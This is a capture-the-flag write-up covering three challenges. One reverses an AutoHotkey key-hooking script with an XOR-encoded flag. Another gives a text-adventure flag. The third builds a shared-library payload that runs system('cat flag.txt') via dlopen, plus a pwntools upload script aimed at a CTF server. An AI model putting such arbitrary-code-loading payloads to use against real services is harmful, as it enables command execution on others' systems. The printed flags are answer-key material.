written by Annms_
REV
flagwatch
This is the first time ive ever heard about AHK.
Check the attachment with DIE,we can find out it is an AHK file,
and there is barely nothing to analyze in ida
so i googled how to reverse a AHK script,and surprised,text edi is enough
the inner logic is quite easy,xor the encrypted flag with 92 to get the flag.
src:
global flaginput := ""
logInput(key){
global flaginput
flaginput := flaginput . key
flaginput := SubStr(flaginput,-28)
checkInput()
}
checkInput(){
global flaginput
if (StrLen(flaginput) != 29)
return
if (SubStr(flaginput, 1, 5) != "bctf{" or SubStr(flaginput,0) != "}")
return
encrypted_flag := [62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33]
Loop 29
{
if ((encrypted_flag[A_Index] ^ 92) != Asc(SubStr(flaginput,A_Index,1))) {
MsgBox, You typed the wrong flag.
return
}
}
MsgBox, You typed the right flag!
}
~a::logInput("a")
~b::logInput("b")
~c::logInput("c")
~d::logInput("d")
~e::logInput("e")
~f::logInput("f")
~g::logInput("g")
~h::logInput("h")
~i::logInput("i")
~j::logInput("j")
~k::logInput("k")
~l::logInput("l")
~m::logInput("m")
~n::logInput("n")
~o::logInput("o")
~p::logInput("p")
~q::logInput("q")
~r::logInput("r")
~s::logInput("s")
~t::logInput("t")
~u::logInput("u")
~v::logInput("v")
~w::logInput("w")
~x::logInput("x")
~y::logInput("y")
~z::logInput("z")
~0::logInput("0")
~1::logInput("1")
~2::logInput("2")
~3::logInput("3")
~4::logInput("4")
~5::logInput("5")
~6::logInput("6")
~7::logInput("7")
~8::logInput("8")
~9::logInput("9")
~_::logInput("_")
~{::logInput("{")
~}::logInput("}")
exp:
#include<stdio.h>
int main()
{
int enc[30]={62,63,40,58,39,40,111,63,52,50,53,63,104,48,48,37,3,61,3,55,57,37,48,108,59,59,111,46,33};
for(int i=0;i<=28;i++)
{
printf("%c",enc[i]^92);
}
return 0;
}
HERE COMES THE FLAG
bctf{t3chnic4lly_a_keyl0gg3r}
text-adventure
connect and you will find out it is a text-adventure game
the route cam be found in the jar
The route:
bctf{P33r_1nT0_tH3_j4r_2_f1nd_Th3_S3cR3Ts_d1463580a690f294}
thank[failed]
unsigned __int64 __fastcall main(int a1, char **a2, char **a3)
{
int file_size; // ebp
void *memset; // rbx
FILE *v5; // r13
char v7[40]; // [rsp+0h] [rbp-58h] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-30h]
v8 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
file_size = get_file_size_p();
memset = getmalloc(file_size);
getfile(memset, file_size);
read_file_as_so((char *)memset, file_size, (__int64)v7, 32);
v5 = open_file(v7);
wirte_file(memset, file_size, v5);
fclose(v5);
free(memset);
excute_thank(v7);
remove(v7);
return v8 - __readfsqword(0x28u);
}
The code above had been symbol-renamed, The key part is in function (execute_thank)
__int64 __fastcall sub_401570(const char *a1)
{
void *v1; // rax
void (*v2)(void); // rdx
char v4[40]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-10h]
v5 = __readfsqword(0x28u);
snprintf(v4, 0x20uLL, "%s", a1);
v1 = dlopen(v4, 1);
if ( v1 && (v2 = (void (*)(void))dlsym(v1, "thank")) != 0LL )
v2();
else
puts("Thanks for your file!");
return 0LL;
}
The logic of this function is basically to define an empty function v2, then read a field named thank from the file, and execute it as v2,that means there is a function named "thank" in our file,we can execute whatever order we want.
And we already know that the file being uploaded must be an .so file,so its source code can be like es:
#include<stdio.h>
#include<stdlib.h>
void thank()
{
system("cat flag.txt");
}
and all we need is a simp payload now.
from pwn import *
p=remote("challs.pwnoh.io",13373)
with open('lib.so',"rb") as f:
data=f.read()
p.sendline(b"15992")
p.send(data)
p.interactive()
However,I didnt get the flag after i uploaded the payload,i even correct my payload refer to what has been validated.
JUST ANNOYING EOF,AHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH